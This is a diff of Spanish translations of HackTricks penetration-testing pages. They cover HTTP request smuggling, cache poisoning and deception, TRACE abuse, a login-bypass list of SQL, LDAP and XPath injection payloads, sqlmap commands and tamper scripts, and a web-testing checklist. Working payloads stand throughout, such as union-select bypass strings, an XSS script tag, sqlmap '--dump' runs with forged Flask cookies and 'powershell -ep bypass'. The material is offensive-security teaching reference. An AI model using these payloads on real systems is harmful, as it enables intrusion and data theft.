Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
@ -392,7 +392,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
En este escenario, el **parámetro de comentario** está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud subsiguiente aparecerá como un comentario.
Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetro utilizado en la solicitud contrabandeada. Para las presentaciones de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte de la cadena de consulta.
Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetro utilizado en la solicitud contrabandeada. Para envíos de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte de la cadena de consulta.
Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe concluir con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
@ -401,7 +401,7 @@ Además, vale la pena señalar que este enfoque también es viable con una vulne
El contrabando de solicitudes HTTP se puede aprovechar para explotar páginas web vulnerables a **XSS Reflejado**, ofreciendo ventajas significativas:
* La interacción con los usuarios objetivo **no es necesaria**.
* Permite la explotación de XSS en partes de la solicitud que son **normalmente inalcanzables**, como los encabezados de solicitudes HTTP.
* Permite la explotación de XSS en partes de la solicitud que son **normalmente inalcanzables**, como los encabezados de solicitud HTTP.
En escenarios donde un sitio web es susceptible a XSS Reflejado a través del encabezado User-Agent, la siguiente carga útil demuestra cómo explotar esta vulnerabilidad:
```
@ -435,7 +435,7 @@ Al manipular el `User-Agent` a través del smuggling, el payload elude las restr
#### HTTP/0.9
{% hint style="danger" %}
En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9, ¡podría ser posible eludir esto**!
En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9 podría ser posible eludir esto**!
{% endhint %}
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
@ -444,7 +444,7 @@ En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con
### Explotando redirecciones en el sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -484,7 +484,7 @@ En este escenario, se secuestra la solicitud de un usuario para un archivo JavaS
### Explotando la contaminación de caché web a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
La contaminación de caché web se puede ejecutar si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
@ -518,8 +518,8 @@ Posteriormente, cualquier request para `/static/include.js` servirá el contenid
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
>
> * En **el envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En **el engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
> * En **el envenenamiento de caché web**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En **el engaño de caché web**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
El atacante elabora un request smuggled que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo:
```markdown
@ -553,15 +553,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un ejemplo de cómo abusar de este comportamiento sería **contrabandear primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y contrabandear **inmediatamente después de la HEAD una solicitud TRACE**, que estará **reflejando los datos enviados**.\
Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que estará **reflejando los datos enviados**.\
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, introducir una solicitud HEAD y una solicitud TRACE hace posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
Por lo tanto, la nueva idea sería que, conociendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
Ejemplo:
```
@ -735,7 +735,7 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -1,30 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Esta lista contiene **payloads para eludir el inicio de sesión a través de XPath, LDAP y SQL injection** (en ese orden).
La forma de usar esta lista es poner las **primeras 200 líneas como el nombre de usuario y la contraseña.** Luego, coloca la lista completa en el nombre de usuario primero y luego en los campos de contraseña mientras pones alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
La forma de usar esta lista es poner las **primeras 200 líneas como el nombre de usuario y la contraseña.** Luego, coloca la lista completa en el nombre de usuario primero y luego en las entradas de contraseña mientras pones alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
```
admin
password
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -76,7 +76,7 @@ sqlmap -r req.txt --current-user
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Inyección de Solicitudes POST
### Inyección de Solicitud POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```
### Eval
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada carga útil antes de enviarla con una línea de código en python. Esto facilita y acelera el procesamiento de la carga útil de maneras personalizadas antes de enviarla. En el siguiente ejemplo, la **sesión de cookie de flask** **es firmada por flask con el secreto conocido antes de enviarla**:
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada payload antes de enviarlo con una línea de código en python. Esto facilita y acelera el procesamiento de maneras personalizadas del payload antes de enviarlo. En el siguiente ejemplo, la **sesión de cookie de flask** **es firmada por flask con el secreto conocido antes de enviarla**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -159,30 +159,30 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
| Tamper | Descripción |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
| between.py | Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #' |
| between.py | Reemplaza el operador mayor que ('>') con 'NO ESTÁ ENTRE 0 Y #' |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
| chardoubleencode.py | Codifica doblemente todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
| chardoubleencode.py | Codifica en doble url todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
| charencode.py | Codifica en url todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
| charunicodeencode.py | Codifica en unicode-url los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022" |
| charunicodeescape.py | Codifica en unicode-url los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022" |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
| escapequotes.py | Escapa las comillas (' y ") |
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de cero versión |
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave SQL |
| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave SQL |
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (por ejemplo, .replace("SELECT", "")) filtros |
| percentage.py | Agrega un signo de porcentaje ('%') delante de cada carácter |
| percentage.py | Agrega un signo de porcentaje ('%') delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
| securesphere.py | Agrega una cadena especialmente elaborada |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la ofuscación automática de los registros de DBMS |
@ -201,13 +201,13 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
| unmagicquotes.py | Reemplaza el carácter de comillas (') con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final (para que funcione) |
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT' |
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
| versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -223,7 +223,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -10,16 +10,16 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Comparte trucos de hacking enviando PRs a los repos de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -29,7 +29,7 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
## Proxies
{% hint style="info" %}
Hoy en día, las **aplicaciones web** suelen **utilizar** algún tipo de **proxies intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
{% endhint %}
* [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
@ -56,7 +56,7 @@ Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la
* [ ] [**Inyección de Comandos**](command-injection.md)
* [ ] [**CRLF**](crlf-0d-0a.md)
* [ ] [**Markup Colgante**](dangling-markup-html-scriptless-injection/)
* [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
* [ ] [**Inclusión de Archivos/Traversal de Ruta**](file-inclusion/)
* [ ] [**Redirección Abierta**](open-redirect.md)
* [ ] [**Contaminación de Prototipos a XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -78,7 +78,7 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
* [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
* [ ] [**Inclusión de Archivos/Traversal de Ruta**](file-inclusion/)
* [ ] [**Inyección NoSQL**](nosql-injection.md)
* [ ] [**Inyección LDAP**](ldap-injection.md)
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
@ -117,8 +117,8 @@ Hay varias funcionalidades específicas donde algunos métodos alternativos podr
### **Objetos Estructurados / Funcionalidades Específicas**
Algunas funcionalidades requerirán que **los datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza **un formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
* [ ] [**Deserialización**](deserialization/)
* [ ] [**Inyección de Encabezados de Correo Electrónico**](email-injections.md)
@ -153,9 +153,9 @@ Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -170,7 +170,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Comparte trucos de hacking enviando PRs a los repos de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -56,7 +56,7 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.